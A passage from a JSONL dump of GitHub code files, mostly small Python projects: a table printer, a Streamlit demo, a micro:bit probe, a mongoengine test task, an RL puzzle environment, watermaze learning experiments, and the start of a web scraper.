[['apples', 'oranges', 'cherries', 'banana'],\n\n ['Alice', 'Bob', 'Carol', 'David'],\n\n ['dogs', 'cats', 'moose', 'goose']]\n\n \n\ndef printTable():\n\n \n\n#Print a header for the table \"\"\"\n\n print('ORGANIZED TABLE OF ITEMS'.center(10 * 3, '-'))\n\n print()\n\n num_of_lists_in_tableData= len(tableData)\n\n num_items_in_each_tableData_list = len(tableData[0])\n\n new_list_of_items = []\n\n x = 0\n\n \n\n '''assemble a new list of items, combine 3 lists to one'''\n\n for i in range(num_items_in_each_tableData_list):\n\n for j in range(num_of_lists_in_tableData):\n\n new_list_of_items.append(tableData[j][i]) \n\n \n\n '''print(new_list_of_items) in table format,\n\n one row at a time'''\n\n for idx1 in range(num_items_in_each_tableData_list):\n\n for idx2 in range(num_of_lists_in_tableData):\n\n print(new_list_of_items[x].ljust(12), end='')\n\n x += 1\n\n # before starting new row,\n\n # print() to move to new line\n\n print()\n\nprintTable()\n\n","repo_name":"Susan-Rooney/My_Python_Programs","sub_path":"ch6_FINAL_tableprinter.py","file_name":"ch6_FINAL_tableprinter.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37398694175","text":"import bit_manipulation as bit_manip\n\n\ndef main():\n list_a = [2, 3, 2, 3, 3, 6, 4, 5, 4, 2, 2, 5]\n bit_manip.find_two_odds(list_a)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"melfm/coding-interview-arena","sub_path":"code/python/bit_manipulation_test.py","file_name":"bit_manipulation_test.py","file_ext":"py","file_size_in_byte":176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38057488446","text":"from copy import deepcopy\nimport pickle\n\nimport pandas as pd\nimport numpy as np\n\nfrom asreview.entry_points.base import BaseEntryPoint\n\n\ndef load_trials(trials_fp):\n with open(trials_fp, \"rb\") as fp:\n trials_data = pickle.load(fp)\n\n trials = trials_data[\"trials\"]\n hyper_choices = trials_data[\"hyper_choices\"]\n\n values = deepcopy(trials.vals)\n for key in values:\n if key in hyper_choices:\n for i in range(len(values[key])):\n values[key][i] = hyper_choices[key][values[key][i]]\n\n values.update({\"loss\": trials.losses()})\n\n for key, arr in values.items():\n if not isinstance(arr[0], float):\n continue\n if np.all(arr-np.array(arr, dtype=int) == 0.0):\n values[key] = [int(val) for val in arr]\n\n trials_data[\"values\"] = values\n return trials_data\n\n\nclass ShowTrialsEntryPoint(BaseEntryPoint):\n description = \"List trials for hyper parameter optimization.\"\n\n def __init__(self):\n super(ShowTrialsEntryPoint, self).__init__()\n from asreviewcontrib.hyperopt.__init__ import __version__\n from asreviewcontrib.hyperopt.__init__ import __extension_name__\n\n self.extension_name = __extension_name__\n self.version = __version__\n\n def execute(self, argv):\n try:\n trials_fp = argv[0]\n except IndexError:\n print(\"Error: need argument path to trials.pkl file.\")\n values = load_trials(trials_fp)[\"values\"]\n pd.options.display.max_rows = 999\n pd.options.display.width = 0\n print(pd.DataFrame(values).sort_values(\"loss\"))\n","repo_name":"asreview/asreview-hyperopt","sub_path":"asreviewcontrib/hyperopt/show_trials.py","file_name":"show_trials.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"38425085108","text":"from MechOS import mechos\nimport time\nfrom MechOS.simple_messages.float_array import Float_Array\nfrom MechOS.simple_messages.bool import Bool\n\ndef chatter_callback(chatter_message):\n '''\n Callback function for subscriber to pass data into. All subscribers use\n callback functions to pass their recieved data to.\n\n Parameters:\n chatter_message: The data recieved over topic chatter from publisher. Each\n time a spinOnce is called, the data being sent from the publisher is\n inserted here.\n '''\n print(\"Message received:\",chatter_message)\n\ndef listener():\n '''\n Example of a subsriber subscribing to topic \"chatter\"\n '''\n #initializes a node called listener\n listener_node = mechos.Node(\"listener\", node_ip=\"127.0.0.1\", mechoscore_ip=\"127.0.0.1\")\n\n #create a subscriber to subscribe to topic chatter.\n #Since the publisher chatter sends a message format\n #Float_Array(4), make the subscriber receive the same\n #format.\n\n #The third parameter is the callback function to pass the data\n #into once it is received. It will pass the data as the first\n #parameter.\n sub = listener_node.create_subscriber(\"chatter\", Float_Array(4), chatter_callback, protocol=\"tcp\")\n\n while(1):\n\n #Spin once will check ALL the subscriber registered to this node\n #to see if they have messages.\n listener_node.spin_once()\n time.sleep(0.01)\n\n\nif __name__ == \"__main__\":\n listener()\n","repo_name":"piercehowell/MechOS","sub_path":"MechOS/examples/simple_pub_sub/example_subscriber.py","file_name":"example_subscriber.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6250170048","text":"\"\"\"Задача 1. Иван Васильевич пришел на рынок и решил купить два арбуза:\nодин для себя, а другой для тещи. Понятно, что для себя нужно выбрать арбуз потяжелей,\nа для тещи полегче. Но вот незадача: арбузов слишком много и он не знает как же выбрать\nсамый легкий и самый тяжелый арбуз? Помогите ему!\nПользователь вводит одно число N – количество арбузов. Вторая строка содержит N чисел,\nзаписанных на новой строчке каждое. Здесь каждое число – это масса соответствующего арбуза\"\"\"\n\n\nimport sys\n\n\ndef fill_list_of_melons(list, n):\n \"\"\"The method fills empty list\"\"\"\n count = 1\n while count <= n:\n try:\n watermelon = int(input(f\"Enter weight of melon number {count}: \"))\n except ValueError as ex:\n print(f\"Error: {ex}\")\n sys.exit()\n list.append(watermelon)\n count += 1\n return list\n\n\ndef find_max_min_mellon(list, maximum=0, minimum=sys.maxsize):\n \"\"\"The method finds max and min value of the list\"\"\"\n for i in list:\n if i > maximum:\n maximum = i\n for i in list:\n if i < minimum:\n minimum = i\n return maximum, minimum\n\n\ndef testing_find_max_min_mellon(test_list=[5, 1, 6, 5, 9]):\n \"\"\"The method tests find_max_min_mellon method\"\"\"\n print(\"Testing of the \\\"find_max_min_mellon\\\" method has been launched...\")\n expected = (9, 1)\n actual = find_max_min_mellon(test_list)\n is_equal = expected == actual\n if is_equal:\n print(\"Test completed successfully!\")\n else:\n print(\"Error! Need to fix the method!\")\n\n\ntesting_find_max_min_mellon()\nprint()\n\n\ntry:\n number_of_watermelons = int(input(\"Enter number of watermelons: \"))\nexcept ValueError as e:\n print(f\"Error: {e}\")\n sys.exit()\n\n\nlist_of_melons = []\nfilled_list_of_melons = fill_list_of_melons(list_of_melons, number_of_watermelons)\nRESULT = find_max_min_mellon(filled_list_of_melons)\nprint()\nprint(f\"Tne number of watermelons -> {number_of_watermelons} \\n\"\n f\"Weight of each watermelon -> {filled_list_of_melons} \\n\"\n f\"Max and min weight of watermelons -> {RESULT}\")\n","repo_name":"Serge313/Python-Homework_seminar_2","sub_path":"Exercise_1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11798364809","text":"\"\"\"\nPublish a new version:\n\n$ git tag X.Y.Z -m \"Release X.Y.Z\"\n$ git push --tags\n\n$ pip install --upgrade twine wheel\n$ python setup.py sdist bdist_wheel\n$ twine upload dist/*\n\"\"\"\nimport codecs\nfrom setuptools import setup\n\n\nPLUGIN_REGISTRY_VERSION = '0.1'\nPLUGIN_REGISTRY_DOWNLOAD_URL = (\n 'https://github.com/klattimer/PluginRegistry/tarball/' + PLUGIN_REGISTRY_VERSION\n)\n\n\ndef read_file(filename):\n \"\"\"\n Read a utf8 encoded text file and return its contents.\n \"\"\"\n with codecs.open(filename, 'r', 'utf8') as f:\n return f.read()\n\nsetup(\n name='PluginRegistry',\n packages=['PluginRegistry'],\n version=PLUGIN_REGISTRY_VERSION,\n description='Plugin registration module.',\n long_description=read_file('README'),\n license='MIT',\n author='Karl Lattimer',\n author_email='karl@qdh.org.uk',\n url='https://github.com/klattimer/PluginRegistry',\n download_url=PLUGIN_REGISTRY_DOWNLOAD_URL,\n keywords=[\n 'plugins'\n ],\n classifiers=[\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.5',\n 'Natural Language :: English',\n ],\n)\n","repo_name":"karlinnolabs/PluginRegistry","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27974077244","text":"# -*- coding: utf-8 -*-\nfrom mongoengine import *\nimport enum\nimport random\nimport unittest\n\nfrom pprint import pprint\nfrom jsonschema import validate\n\n\nclass ImagesEnum(enum.Enum):\n cover = 'cover'\n background = 'background'\n foreground = 'foreground'\n\n\nclass QualityEnum(enum.IntEnum):\n LD = 0\n SD = 1\n HD = 2\n FULL_HD = 3\n\n\nclass File(EmbeddedDocument):\n path = StringField()\n quality = IntField()\n\n\nclass Quote(EmbeddedDocument):\n source = StringField()\n text = StringField()\n\n\nclass Episode(EmbeddedDocument):\n num = IntField()\n alias = StringField()\n files = EmbeddedDocumentListField('File')\n\n\nclass Season(Document):\n num = IntField()\n alias = StringField()\n episodes = EmbeddedDocumentListField('Episode', db_field='items')\n meta = {\n 'collection': 'products',\n 'allow_inheritance': True\n }\n\n\nclass Series(Document):\n title = StringField()\n alias = StringField()\n description = StringField()\n seasons = ListField(ReferenceField('Season'), db_field='items')\n quote = EmbeddedDocumentField('Quote')\n images = MapField(URLField())\n meta = {\n 'collection': 'products',\n 'allow_inheritance': True\n }\n\n\nclass TestTask(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n connect('test', host='mongo')\n\n def test_01_create_documents(self):\n def __quote(i):\n source = 'QuoteSource %i' % i\n return {'source': source, 'text': 'test quote'}\n\n def __images(i):\n return {img.value: 'image path %i' % i for img in ImagesEnum}\n\n def __files():\n files = list()\n for i in QualityEnum:\n f = File(quality=i, path='file path %i' % i)\n files.append(f)\n return files\n\n def __episodes():\n episodes = list()\n for i in range(0, random.randint(1, 30)):\n s = Episode(num=i, alias='episode%i' % i, files=__files())\n episodes.append(s)\n return episodes\n\n def __seasons():\n seasons = list()\n for i in range(0, random.randint(1, 10)):\n s = Season(num=i, alias='season%i' % i, episodes=__episodes())\n s.save()\n seasons.append(s)\n return seasons\n\n def __series():\n series = list()\n for i in range(0, random.randint(1, 10)):\n s = Series.objects(\n title='series %i' % i,\n alias='series%i' % i\n ).modify(\n upsert=True,\n new=True,\n set__quote=__quote(i),\n set__images=__images(i),\n set__description='description %i' % i,\n set__seasons=__seasons())\n series.append(s)\n return series\n self.assertTrue(__series())\n\n def test_02_create_documents(self):\n \"\"\"\n Напишите запрос который вернет ответ следующего формата:\n [\n {\n \"path\": \"/series/\",\n \"title\": \"\",\n \"description\": \"<description сериала>\",\n \"cover\": \"<изображение из поля images с ключем ImagesEnum.cover>\",\n \"quote\": \"<значение quote.text>\",\n \"quote_source\": \"<значение quote.source>\",\n \"slide\": {\n \"background\": \"<изображение из поля images с ключем ImagesEnum.background>\",\n \"foreground\": \"<изображение из поля images с ключем ImagesEnum.foreground>\"\n }\n \"seasons\": [\n {\n \"path\": \"/series/<alias сериала>/<alias сезона>\",\n \"title\": \"<num сезона> сезон\",\n \"episodes\": [\n {\n \"path\": \"/series/<alias сериала>/<alias сезона>/<alias эпизода>\",\n \"title\": \"Эпизод <num сезона>\",\n \"files\": [\n {\n \"path\": \"<path файла>\",\n \"label\": \"<название enum поля QualityEnum>\",\n \"quality\": \"<значения enum поля QualityEnum>\"\n }\n ]\n }\n ]\n }\n ]\n }\n ]\n \"\"\"\n result = []\n for serie in Series.objects:\n serie_dict = dict()\n serie_dict['path'] = \"/series/\" + serie.alias\n serie_dict['title'] = serie.title\n serie_dict['description'] = serie.description\n serie_dict['cover'] = serie.images[ImagesEnum.cover.name]\n serie_dict['quote'] = serie.quote.text\n serie_dict['quote_source'] = serie.quote.source\n serie_dict['slide'] = {\n 'background': serie.images[ImagesEnum.background.name],\n 'foreground': serie.images[ImagesEnum.foreground.name]\n }\n serie_dict['seasons'] = []\n for season in serie.seasons:\n season_dict = dict()\n season_dict['path'] = f'{serie_dict[\"path\"]}/{season.alias}'\n season_dict['title'] = season.num\n season_dict['episodes'] = []\n for episode in season.episodes:\n episode_dict = dict()\n episode_dict['path'] = f'{season_dict[\"path\"]}/{episode.alias}'\n episode_dict['title'] = f'Эпизод {episode.num}'\n episode_dict['files'] = []\n for file in episode.files:\n file_dict = dict()\n file_dict['path'] = file.path\n file_dict['quality'] = file.quality\n file_dict['label'] = QualityEnum(file.quality).name\n episode_dict['files'].append(file_dict)\n season_dict['episodes'].append(episode_dict)\n serie_dict['seasons'].append(season_dict)\n result.append(serie_dict)\n pprint(result)\n return result\n\n def test_03_validate_result(self):\n schema = {\n \"type\": \"object\",\n \"properties\": {\n \"path\": {\"type\": \"string\"},\n \"title\": {\"type\": \"string\"},\n \"description\": {\"type\": \"string\"},\n \"cover\": {\"type\": \"string\"},\n \"quote\": {\"type\": \"string\"},\n \"quote_source\": {\"type\": \"string\"},\n \"slide\": {\n \"type\": \"object\",\n \"properties\": {\n \"background\": {\"type\": \"string\"},\n \"foreground\": {\"type\": \"string\"}\n }\n },\n \"seasons\": {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"object\",\n \"properties\": {\n \"path\": {\"type\": \"string\"},\n \"title\": {\"type\": \"number\"},\n \"episodes\": {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"object\",\n \"properties\": { \n \"path\": {\"type\": \"string\"},\n \"title\": {\"type\": \"string\"},\n \"files\": { \n \"type\": \"array\",\n \"items\": {\n \"type\": \"object\",\n \"properties\": {\n \"path\": {\"type\": \"string\"},\n \"label\": {\"type\": \"string\"},\n \"quality\": {\"type\": \"number\"}\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n inst = self.test_02_create_documents()[0]\n self.assertIsNone(validate(inst, schema))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"mxmaslin/test-tasks","sub_path":"yellowblackwhite-test01_python-9615024cdffa/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":9278,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"5028070586","text":"import argparse\r\nimport sys\r\nimport numpy as np\r\nimport os\r\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\r\nUTILS_DIR = os.path.join(BASE_DIR, 'utils')\r\nLAB_DIR = os.path.join(BASE_DIR, 'lab6')\r\nsys.path.insert(0,UTILS_DIR)\r\nsys.path.insert(1,LAB_DIR)\r\nfrom naive_bayes import NaiveBayes\r\nfrom feat_select import feature_select\r\nfrom data_preprocess import read_txt\r\nfrom data_loader import DataLoader\r\nfrom tools import visualize_feature_select\r\n#python train.py --data data/lenses_data.txt --split 24 --epochs 1\r\n\r\n\r\ndef parse_args():\r\n parser = argparse.ArgumentParser(description='Train')\r\n parser.add_argument('--data', help='data file path')\r\n parser.add_argument('--split', default=450,help='split index,0-split for train,the other for test',type=int)\r\n parser.add_argument('--epochs',default=1, help='max epochs to train',type=int)\r\n parser.add_argument('--ckpg', help='max epochs to train')\r\n parser.add_argument('--show', help='show results')\r\n\r\n args = parser.parse_args()\r\n return args\r\n\r\n\r\nif __name__ == '__main__':\r\n args = parse_args()\r\n data = read_txt(args)\r\n data = data[:,1:]\r\n data,sort_idx = feature_select(data)#按照评价指标给特征排序\r\n print('selected features idx:',sort_idx)\r\n err = 1\r\n feature_select_num = 0\r\n for i in range(data.shape[1]-1):\r\n feat_data = np.concatenate((data[:,0:i+1] , data[:,-1].reshape(-1,1)),axis = 1)\r\n #print('data',feat_data)\r\n dataloader = DataLoader(feat_data,split_idx=[args.split,args.split])\r\n net = NaiveBayes(dataloader = dataloader,features_num=i+1,epochs=args.epochs)\r\n net.train() \r\n net.evaluate()\r\n if net.err >= err:\r\n print('forward search ended! best err:',err)\r\n break\r\n old_data = feat_data\r\n feature_select_num = i + 1\r\n ckpg = net.save_model()\r\n err = net.err\r\n print('err',err)\r\n \r\n net = NaiveBayes(dataloader = dataloader,features_num=feature_select_num,epochs=args.epochs,load_checkpoint=ckpg)\r\n pred = net.forward(old_data[:,:-1])\r\n visualize_feature_select(old_data[:,:-1], old_data[:,-1], pred)\r\n ","repo_name":"infiniteYuanyl/ml-labs","sub_path":"lab10/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"29054346458","text":"import streamlit as st\n\nst.header('Welcome to Streamlit')\nst.subheader('By Som Gupta')\n\nst.sidebar.title('Cool sidebar with options')\nst.sidebar.success('Done!')\n\nst.text('BCA 3rd Year')\nst.success('some text area')\nst.error('Error messege')\nst.warning('Warning Message')\n\nbtn=st.button('Dont click')\nif btn:\n st.error('what have you done')\n st.write('this is not what is needed to be done')\n\ncountries=[' India ',' SriLanka ',' Nepal ',' Japan ']\nc=st.selectbox(\"select the country\",countries)\nst.write(f'You have selected{c}')\n\nname=st.text_input(\"what is your name\",value=\"Som\")\nst.write(f'Your Name: {name}')\n\nage=st.slider('What is your age',min_value=10,max_value=100,step=2,value=20)\nif age>50:\n st.error('You are too old for this')\nelif age<15:\n st.warning('you are too young for this')\nelse:\n st.success('you are ready for this')","repo_name":"somgupta50/python","sub_path":"streamlit/app_example.py","file_name":"app_example.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34784428437","text":"#Transfer the code on the micro:bit chip through uFlash Antenna.py\r\n\r\nfrom microbit import *\r\nimport utime\r\nimport radio\r\n\r\n#temperature rescale after calibration\r\ndef rescaleTemp(temp):\r\n T_actual = 0.888*temp - 0.635\r\n return round(T_actual)\r\n\r\nemptySign = Image('00000:'\r\n '00000:'\r\n '00000:'\r\n '00000:'\r\n '00000')\r\n\r\n#Switch radio on\r\nradio.on()\r\ndisplay.scroll(\"ON\")\r\n\r\nwhile True:\r\n messageIn = radio.receive()\r\n if messageIn == \"MEASURE\":\r\n tempActual = rescaleTemp(temperature())\r\n lightLevel = display.read_light_level()\r\n messageOut = str(tempActual) + ',' + str(lightLevel)\r\n radio.send(messageOut)\r\n for loop in range(3):\r\n display.show(Image.ARROW_N)\r\n utime.sleep_ms(125)\r\n display.show(emptySign)\r\n utime.sleep_ms(125)","repo_name":"Joulik/BasicConnectedObject","sub_path":"Probe.py","file_name":"Probe.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33074123663","text":"import gym\nfrom gym import Env\nfrom gym.spaces import Discrete, Box, Dict, Tuple, MultiBinary, MultiDiscrete\nimport numpy as np\nimport random\nimport os\nfrom stable_baselines3 import PPO\nfrom stable_baselines3.common.vec_env import VecFrameStack\nfrom stable_baselines3.common.evaluation import evaluate_policy\nfrom stable_baselines3.common.vec_env import DummyVecEnv\nfrom stable_baselines3.common.callbacks import EvalCallback,StopTrainingOnRewardThreshold\n\n\nimport glob\nimport pickle\nfrom stable_baselines3.common.env_checker import check_env\n\n\"\"\"\nGrid format: pieces: standard piece -> 1, wizard -> 20, hat -> 10, empty -> 0, double_stack -> 2\n\"\"\"\n\n\nclass OopsEnv(Env):\n def __init__(self):\n # Actions we can take: from 25 positions to 25 other positions -> 5 bit + 5 bit = 10bit\n self.action_space = MultiDiscrete([25, 25])\n # Observations is gewoon het speelbord, we have to flatten the matrix because otherwise it crashes\n self.observation_space = MultiDiscrete(np.array([31, 31, 31, 31, 31,31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31, 31]))\n # get the grid from a random level from the level directory\n # state = grid\n self.state = get_grid()\n self.attempts = 30\n\n def step(self, action):\n # reduce attempts and stop if we don't have any attempts left\n self.attempts -= 1\n\n if self.attempts <= 0:\n done = True\n else:\n done = False\n\n # placeholder for info\n info = {}\n # check if attempted step is a valid step and calculate reward\n begin_position = action[0]\n bx, by = pos2indices(begin_position)\n end_position = action[1]\n ex, ey = pos2indices(end_position)\n # print(\"Registered input, from \", bx , by, \" to \", ex, ey)\n if not valid_pickup(begin_position, self.state):\n reward = -20\n # print(\"Not valid pickup\")\n return self.state, reward, done, info\n elif not valid_end(end_position, self.state):\n reward = -15\n # print(\"Not valid end\")\n return self.state, reward, done, info\n elif not valid_steps(bx, by, ex, ey,begin_position, self.state):\n reward = -1\n # print(\"Not valid amount of steps\")\n return self.state, reward, done, info\n # print(\"Valid action\")\n # else, the action was valid, could still not be the best one to complete the game ofcourse\n self.state = execute_step(begin_position,end_position, self.state)\n if is_game_won(self.state):\n reward = 200\n done = True\n #print(\"A game was completed, you did it you crazy son of a bitch, you did it :)\")\n return self.state, reward, done, info\n elif no_more_valid_steps(self.state):\n #print(\"no more valid steps to take\")\n reward = 0\n done = True\n return self.state, reward, done, info\n else:\n # one step done a few more to go\n reward = 20\n return self.state, reward, done, info\n\n def render(self):\n print(\"#\" * 30)\n row_str = \"\"\n row_ind = 0\n for x in range(len(self.state)):\n str_element = str(self.state[x])\n if len(str_element) <= 1:\n # we need to add a space to make the print more alligned\n row_str += \" \" + str_element\n else:\n row_str += \" \" + str_element\n row_ind +=1\n if row_ind >= 5:\n print(row_str)\n row_str = \"\"\n row_ind = 0\n print(\"#\" * 30)\n\n def reset(self):\n self.state = get_grid()\n self.attempts = 30\n return self.state\n\n\ndef execute_step(begin_pos,end_pos,grid):\n # check which piece is going to go where and create the new grid\n # add the two new spaces up\n grid[end_pos] += grid[begin_pos]\n # # where the piece used to be there will now be an empty space\n grid[begin_pos] = 0\n return grid\n\n\ndef valid_pickup(begin_pos, grid):\n # target_pos is the position we are trying to pick up, this needs to be valid\n # can't pick up empty space or the hat\n target_piece = grid[begin_pos]\n if target_piece in [0, 10]:\n return False\n else:\n return True\n\n\ndef valid_end(end_pos, grid):\n # we need to put the pieces down on a valid space(not on the wizards' head) and on another piece\n target_piece = grid[end_pos]\n if target_piece == 0 or target_piece >= 20:\n return False\n else:\n return True\n\ndef no_more_valid_steps(grid):\n # check if there are pieces left on the board and get their position, than check if the distance between any is a\n # valid distance to cover\n list_pieces = []\n for x in range(0,len(grid)-1):\n if x != 0:\n #found a piece\n list_pieces.append(x)\n for piece_pos in list_pieces:\n steps = get_piece_steps(grid,piece_pos)\n for second_piece in list_pieces:\n if steps == get_piece_distance(piece_pos,second_piece):\n #we have found a valid option(the piece can reach the other piece\n #only need to check that that move would be valid\n if valid_pickup(piece_pos,grid) and valid_end(second_piece,grid):\n #there is in fact still a valid move left\n return False\n return True\n\n\ndef get_piece_steps(grid,pos):\n picked_up_piece = grid[pos]\n # we need to remove the wizards identifier from the equation ( is 20)\n if picked_up_piece >= 20:\n picked_up_piece -= 19\n return picked_up_piece\n\ndef get_piece_distance(pos1,pos2):\n x1,y1 = pos2indices(pos1)\n x2,y2 = pos2indices(pos2)\n x_dist = abs(x1 - x2)\n y_dist = abs(y1 - y2)\n tot_dist = x_dist + y_dist\n return tot_dist\ndef valid_steps(bx, by, ex, ey,begin_pos, grid):\n # and we need to check if the amount of steps we have done is valid\n x_dist = abs(bx - ex)\n y_dist = abs(by - ey)\n tot_dist = x_dist + y_dist\n piece_steps = get_piece_steps(grid,begin_pos)\n if tot_dist == piece_steps:\n return True\n else:\n return False\n\n\ndef is_game_won(grid):\n # if the game is won we can give the ai a big bonus\n amountOfPiecesFound = 0\n for x in range(len(grid)):\n if grid[x] != 0:\n amountOfPiecesFound += 1\n if amountOfPiecesFound <= 1:\n return True\n else:\n return False\n\n\ndef pos2indices(pos):\n pos_var = pos\n for y in range(0, 5):\n for x in range(0, 5):\n if pos_var <= 0:\n return x, y\n pos_var -= 1\n return 4, 4\n\n\ndef get_grid():\n file_names = glob.glob(\"Levels/*\")\n if len(file_names) == 0:\n print(\"No levels to train from were found, bitch plz\")\n exit(-1)\n select_nr = random.randint(0, len(file_names) - 1)\n selected_level = file_names[select_nr]\n with open(os.path.join(selected_level), \"rb\") as f:\n grid = pickle.load(f)\n return np.array(grid).flatten()\n\n\ndef test_environment_manuel(env):\n episodes = 5\n for episode in range(1, episodes + 1):\n state = env.reset()\n done = False\n score = 0\n\n while not done:\n env.render()\n # action = env.action_space.sample()\n action = list(map(int, input(\"\\nEnter the numbers : \").strip().split()))\n n_state, reward, done, info = env.step(action)\n score += reward\n print('Episode:{} Score:{}'.format(episode, score))\n env.close()\n\n\ndef get_env():\n env = OopsEnv()\n check_env(env, warn=True)\n return env\n\ndef load_model(env):\n return PPO.load(os.path.join(model_path,\"best_model\"),env)\n\ndef train_model(model, amount_of_steps):\n model.learn(total_timesteps=amount_of_steps,callback=eval_callback)\n model.save(model_path)\n\n\ndef get_new_model(env):\n log_path = os.path.join(\"Logs\")\n model = PPO(\"MlpPolicy\", env, verbose=1, tensorboard_log=log_path)\n return model\n\n\n# MAIN\ng_env = get_env()\ng_env.reset()\n#load the previous best model in and continue training that one\nmodel_path = os.path.join(\"Models\",\"Oops_Model\")\n#add callback that saves the best model -> you can quit whenever really\neval_callback = EvalCallback(g_env,eval_freq=20000,best_model_save_path=model_path,verbose=1)\ntest_environment_manuel(g_env)\n#g_model = get_new_model(g_env)\n#g_model = load_model(g_env)\n#train_model(g_model, 4000000)\n\n","repo_name":"Ward-PythonScripts/OopsSolver","sub_path":"model_trainer.py","file_name":"model_trainer.py","file_ext":"py","file_size_in_byte":8522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36146453358","text":"import numpy as np\nfrom tqdm import tqdm\n\nfrom watermaze import Watermaze\nfrom rat import Rat\nfrom figures import TrialFigure, RatPerformanceFigure\n\n\n\n\nclass Experiment:\n '''\n Generic experiment class. It must be extended to be used.\n '''\n\n rat = None\n\n # It must be defined by concrete child classes!\n rat_perf_filename = None\n\n\n def __init__(self):\n self.rat = Rat()\n\n\n def run_n_times(self, nb_times):\n logs_of_all_runs = []\n\n for _ in tqdm(range(nb_times)):\n logs_of_all_runs.append(self.run_once(show_progress_bar = False))\n \n return logs_of_all_runs\n\n\n def plot_rat_performance(self, logs_of_all_runs):\n RatPerformanceFigure(logs_of_all_runs).save_and_close(self.rat_perf_filename + \".png\")\n\n\n\n\nclass RMW(Experiment):\n '''\n Reference Memory in the Watermaze (RMW) experiment.\n '''\n \n first_watermaze = None\n second_watermaze = None\n\n\n def __init__(self):\n super().__init__()\n self.rat_perf_filename = \"rmw-rat-performance\"\n\n self.first_watermaze = Watermaze()\n self.second_watermaze = Watermaze()\n\n\n def set_new_random_plateforms(self):\n self.first_watermaze.set_random_plateform()\n self.second_watermaze.set_random_plateform()\n\n\n def run_once(self, show_progress_bar = True):\n # Reset some parameters\n self.rat.reset()\n self.set_new_random_plateforms()\n\n # Run trials corresponding to the first 7 days (4 trials/day)\n logs = self.rat.simulate_n_trials(self.first_watermaze, 7 * 4,\n show_progress_bar = show_progress_bar)\n\n # Run trials corresponding to the last 2 days (4 trials/day)\n logs += self.rat.simulate_n_trials(self.second_watermaze, 2 * 4,\n show_progress_bar = show_progress_bar)\n\n return logs\n\n\n def run_n_times(self, nb_times):\n logs_of_all_runs = []\n\n for _ in tqdm(range(nb_times)):\n logs_of_all_runs.append(self.run_once(show_progress_bar = False))\n \n return logs_of_all_runs\n\n\n def plot_one_run(self, logs):\n for index, log in tqdm(enumerate(logs), desc = \"Trial plots (RMW)\"):\n # Determine which watermaze corresponds to the current log\n watermaze = self.first_watermaze if index < (7 * 4) else self.second_watermaze\n\n day = 1 + (index // 4)\n daily_index = 1 + (index % 4)\n\n filename = \"rmw-day-{}-trial-{}\".format(day, daily_index)\n TrialFigure(watermaze, self.rat, log).save_and_close(filename + \".png\")\n\n\n\n\nclass DMP(Experiment):\n '''\n Delayed Matching-to-Place (DMP) experiment.\n '''\n\n watermazes = None\n\n\n def __init__(self):\n super().__init__()\n self.rat_perf_filename = \"dmp-rat-performance\"\n\n self.watermazes = [Watermaze() for _ in range(9)]\n \n\n def set_new_random_plateforms(self):\n for watermaze in self.watermazes:\n watermaze.set_random_plateform()\n\n\n def run_once(self, show_progress_bar = True):\n # Reset some parameters\n self.rat.reset()\n self.set_new_random_plateforms()\n\n # Run trials for 9 days (4 trials/day)\n logs = []\n\n for index in range(9):\n logs += self.rat.simulate_n_trials(self.watermazes[index], 4,\n show_progress_bar = show_progress_bar)\n\n return logs\n\n \n def plot_one_run(self, logs):\n for index, log in tqdm(enumerate(logs), desc = \"Trial plots (DMP)\"):\n day = 1 + (index // 4)\n daily_index = 1 + (index % 4)\n\n filename = \"dmp-day-{}-trial-{}\".format(day, daily_index)\n TrialFigure(self.watermazes[day - 1], self.rat, log).save_and_close(filename + \".png\")","repo_name":"Daru13/watermaze-learning-model","sub_path":"experiments.py","file_name":"experiments.py","file_ext":"py","file_size_in_byte":3846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72706225051","text":"from queue import Queue\n\nfrom pymongo import MongoClient\n\nfrom common_spider import Common_Spider\nfrom threading import Thread\nimport datetime\n\n\nclass DianPing(Common_Spider):\n\n def __init__(self):\n \n self.page = 1\n self.item_list = []\n\n def parse_list_url(self,url):\n\n item_list = []\n print('开始爬取第{}页'.format(self.page))\n rst = self.make_a_request(url,\"content\",waiting_time=2)\n\n html = self.get_html_from_data(rst)\n lis = self.get_data_by_xpath(html,'//div[@id=\"shop-all-list\"]/ul/li',is_single=False)\n if len(lis):\n for li in lis:\n item = {}\n is_divided = 